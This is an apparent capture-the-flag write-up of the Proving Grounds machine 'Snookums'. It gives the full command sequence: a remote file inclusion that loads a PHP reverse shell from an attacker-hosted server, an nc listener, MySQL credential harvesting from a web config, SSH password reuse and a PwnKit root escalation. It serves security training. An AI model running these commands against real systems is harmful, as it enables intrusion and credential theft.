Skip to content
HackIndex.io

Snookums Writeup - Proving Grounds

Intermediate Linux
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

The Husky Hacker

sysadmin

Snookums runs Simple PHP Photo Gallery 0.7, vulnerable to a remote file inclusion (EDB-48424) that is used to include a hosted PHP reverse shell for a www-data shell. A web config leaks MySQL credentials, and a base64-"encoded" password in the database turns out to be reused for SSH, after which PwnKit (CVE-2021-4034) finishes the job.

Reconnaissance

Nmap

A full TCP scan reveals a wide spread of services.

┌──(kali㉿kali)-[~]
└─$ nmap -p- -sV $TARGET_IP 
21/tcp    open ftp         vsftpd 3.0.2
22/tcp    open ssh         OpenSSH 7.4
80/tcp    open http        Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
111/tcp   open rpcbind     2-4
139/tcp   open netbios-ssn Samba smbd 3.X - 4.X
445/tcp   open netbios-ssn Samba smbd 4.10.4
3306/tcp  open mysql       MySQL (unauthorized)
33060/tcp open mysqlx?

Anonymous FTP and the Samba shares turn up nothing useful. Port 80 runs a Simple PHP Photo Gallery install.

Directory discovery

Brute force directories on the web root.

┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://$TARGET_IP/ 
[200]  /image.php
[200]  /index.php
[301]  /icons/

Enumeration

Simple PHP Photo Gallery v0.7 is a minimal PHP gallery app. Its image.php handler is vulnerable to remote file inclusion, including the file parameter without sanitizing it.

┌──(kali㉿kali)-[~]
└─$ searchsploit simple php photo gallery 
Simple PHP Photo Gallery 0.7 - Remote File Inclusion | php/webapps/48424.txt

Exploitation

Remote file inclusion (EDB-48424)

Host a PHP reverse shell on the attacker machine, then include it through the vulnerable parameter.

┌──(kali㉿kali)-[~]
└─$ cp /usr/share/webshells/php/php-reverse-shell.php shell.php
┌──(kali㉿kali)-[~]
└─$ # edit shell.php: set $ip and $port
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 ...
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
listening on [any] $ATTACKER_PORT ...
┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/image.php?img=http://$ATTACKER_IP/shell.php" 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
bash-4.2$ cat /var/www/local.txt

Shell as www-data (apache).

Privilege Escalation

MySQL credentials in a web config

Read the gallery's database config.

$db_host = "localhost";
$db_user = "Root";
$db_pass = "$MYSQL_ROOT_PASSWORD";
$db_name = "SimplePHPGal";

Those credentials unlock the application's own MySQL database.

┌──(kali㉿kali)-[~]
└─$ mysql -u Root -p$MYSQL_ROOT_PASSWORD -e "SELECT * FROM SimplePHPGal.users;" 
+----------+------------------------+
| username | password               |
+----------+------------------------+
| josh     | <snip, base64>         |
| michael  | <base64 of $MICHAEL_PASSWORD> |
| serena   | <snip, base64>         |
+----------+------------------------+

Michael's password is only base64-encoded, not hashed, so it decodes directly to plaintext.

┌──(kali㉿kali)-[~]
└─$ echo "<base64 of $MICHAEL_PASSWORD>" | base64 -d 
$MICHAEL_PASSWORD
┌──(kali㉿kali)-[~]
└─$ ssh michael@$TARGET_IP 
michael@$TARGET_IP's password: $MICHAEL_PASSWORD
[michael@snookums ~]$ id
uid=1000(michael) gid=1000(michael) groups=1000(michael)

The database password is reused as michael's real login. Shell as michael.

PwnKit (CVE-2021-4034)

The box runs a vulnerable PolicyKit, exploitable with PwnKit, a memory corruption in pkexec that lets any local user escalate to root.

┌──(kali㉿kali)-[~]
└─$ gcc pwnkit.c -o pwnkit
┌──(kali㉿kali)-[~]
└─$ ./pwnkit 
# id
uid=0(root) gid=0(root) groups=0(root),1000(michael)

PwnKit hands over a root shell.

Related

Remote File Inclusion Exploitation
Blog

Remote File Inclusion Exploitation
MySQL Credential Harvesting from Application Configs
Blog

MySQL Credential Harvesting from Application Configs
Polkit Local Privilege Escalation – PwnKit and CVE-2021-3560
Blog

Polkit Local Privilege Escalation – PwnKit and CVE-2021-3560

Exploiting Polkit vulnerabilities (PwnKit/CVE-2021-3560) to escalate privileges to root on Linux sys...

References